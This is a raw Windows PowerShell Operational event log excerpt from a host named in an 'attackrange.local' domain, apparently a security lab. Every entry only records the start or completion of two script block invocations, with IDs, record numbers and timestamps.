SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051412
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051411
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051410
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051409
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051407
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051406
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051405
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051403
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051402
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051401
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051400
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051399
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051398
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051397
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051396
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051395
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051394
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051393
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051391
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051390
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051389
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051387
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051386
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051385
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051384
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051383
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051382
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051381
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051379
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051378
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051377
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051375
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051374
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051373
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051371
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051370
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051369
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051368
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051367
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051366
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051365
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051364
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051363
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051362
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051361
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051359
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
